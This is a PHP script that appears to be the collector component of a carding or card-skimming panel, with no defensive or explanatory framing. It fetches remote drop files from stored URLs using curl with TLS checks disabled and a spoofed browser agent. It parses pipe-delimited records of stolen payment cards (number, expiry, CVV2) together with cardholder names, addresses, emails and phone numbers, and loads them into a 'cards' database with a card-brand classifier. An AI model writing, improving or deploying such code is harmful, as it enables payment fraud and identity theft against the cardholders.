<?php

include('../conf.php');

Auth2($l,$p,$m);

$id=trim($_POST['id']);

if(!is_numeric($id) or $id<1){ ban_acc(); mClose($connect); }

$MySQLi=mysqli_query($connect,'SELECT * FROM urls WHERE id='.$id);
$r=mysqli_fetch_assoc($MySQLi);

$url=base64_decode($r['link']);

$content=Request($url);

if(strlen($content)<10){
	mClose($connect);
}

$ex=explode("\n",trim($content));

if(sizeof($ex)<1){
	mClose($connect);
}

$stmt = $connect->prepare('INSERT INTO cards(cnumber,owner,expires,cvv2,firstname,lastname,address,country,state,city,postcode,street,phone,addtime,domain,email,ctype) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)');

for($c=0,$max=sizeof($ex);$c<$max;$c++){
	$data=@explode('|',$ex[$c]);

	$number=@preg_replace('/\D+/','',base64_decode($data[0]));

	$owner=@trim($data[1]);

	$expires=@preg_replace('/[^0-9\/]+/','',base64_decode($data[2]));
	$cvv2=@substr(preg_replace('/\D+/','',base64_decode($data[3])),0,3);

	$firstname=@trim($data[4]);
	$lastname=@trim($data[5]);
	$address=@trim($data[6]);
	$country=@trim($data[7]);
	$state=@trim($data[8]);
	$city=@trim($data[9]);
	$email=@trim($data[10]);
	$postcode=@trim($data[11]);
	$street=@trim($data[12]);
	$phone=@trim($data[13]);
	$domain=@trim($data[14]);
	$time=@time();
	$ctype=@dcard($number);

	if(strlen($number)<5 or strlen($expires)<3 or strlen($cvv2)<3){
		continue;
	}

	$number=base64_encode($number); $expires=base64_encode($expires); $cvv2=base64_encode($cvv2);

	$stmt->bind_param('sssssssssssssissi',$number,$owner,$expires,$cvv2,$firstname,$lastname,$address,$country,$state,$city,$postcode,$street,$phone,$time,$domain,$email,$ctype);

	$stmt->execute();
}

$stmt->close();

// Number | Owner | Expires | CVV2 | Firstname | Lastname | Address | Country | State | City | Email | Postcode | Street | Phone | Domain

function mClose($connect){
	mysqli_close($connect);
	exit('<center><img src="./img/success.jpeg" /></center>');
}

function dcard($cardNumber) {
    $cardNumber = preg_replace('/\D/','',$cardNumber);

    $cardTypes = array(
        '1' => '/^4[0-9]{12}(?:[0-9]{3})?$/', // visa
        '2' => '/^5[1-5][0-9]{14}$/', // mastercard
        '3' => '/^3[47][0-9]{13}$/', // amex
        '4' => '/^6(?:011|5[0-9]{2})[0-9]{12}$/', // discover
        '5' => '/^3(?:0[0-5]|[68][0-9])[0-9]{11}$/', // diners
        '6' => '/^(?:2131|1800|35\d{3})\d{11}$/', // jcb
        '7' => '/^62[0-9]{14,17}$/', // unionpay
        '8' => '/^(5[06-9]|6[37])[0-9]{10,17}$/' // maestro
    );

    foreach ($cardTypes as $type => $pattern) {
        if (preg_match($pattern, $cardNumber)) {
            return $type;
        }
    }
    return '0';
}

function Request($url){
	$header[]="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
	$header[]="Accept-Language: en,en-us;q=0.7,en;q=0.3";
	$header[]="Accept-Encoding: gzip,deflate";
	$header[]="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7";
	$header[]='Connection: close';
	$ch=curl_init();
	curl_setopt($ch,CURLOPT_URL,$url);
	curl_setopt($ch,CURLOPT_HEADER,0);
	curl_setopt($ch,CURLOPT_ENCODING,'utf-8');
	//curl_setopt($ch,CURLOPT_REFERER,'');
	curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.0; rv:6.0) Gecko/20100101 Firefox/6.0');
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
	curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
	curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
	curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
	curl_setopt($ch,CURLOPT_TIMEOUT,20);
	curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,20);
	$content=curl_exec($ch); curl_close($ch);
	return $content;
}

mClose($connect);

?>